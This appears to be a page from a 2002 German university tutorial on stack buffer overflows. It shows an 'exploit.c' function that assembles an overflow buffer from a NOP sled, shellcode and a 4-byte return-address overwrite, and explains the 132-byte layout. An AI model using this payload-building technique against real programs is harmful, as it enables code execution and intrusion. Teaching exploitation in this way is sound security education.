Zusammenstellung der Buffer-Eingabe

 [Vorheriges Kapitel]  [Vorherige Seite]  [Inhaltsverzeichnis]  [Nächste Seite]  [Nächstes Kapitel]

exploit.c
void fillbuffer (char * buf, char * code,
                 unsigned int offset) {
        int count, i;
        for (count=0; count < 50; count++)
                buf[count] = 0x90;  /* NOP */
        for (i=0; code[i]; ++i)
                buf[count++] = code[i];
        for (; count < 132; ++count)
                buf[count] = 0x90;
        for (i=0; i<4; ++i) {
                buf[count++] = offset % 256;
                offset >>= 8;
        }
        buf[count] = '\0';
}

*128 Bytes für name und 4 Bytes für den alten Wert des ebp-Registers macht 132 Bytes Platz für unseren Code.
 
*Der eigentliche Code wird in die Mitte des Buffers kopiert, der Bereich davor und dahinter wird mit der aus einem Byte bestehenden Maschinenoperation nop (0x90) gefüllt. nop steht für No Operation.
 
*Zuletzt kommt der Wert offset, der später die Rücksprungadresse überschreibt. Dieser Wert muß von Hand ermittelt werden. Durch die nop-Instruktionen muß offset nicht exakt auf den Anfang des Buffers zeigen.
 

 [Vorheriges Kapitel]  [Vorherige Seite]  [Inhaltsverzeichnis]  [Nächste Seite]  [Nächstes Kapitel]
Copyright © 2002 Andreas Borchert/Christian Ehrhardt, in HTML konvertiert am 18.06.2002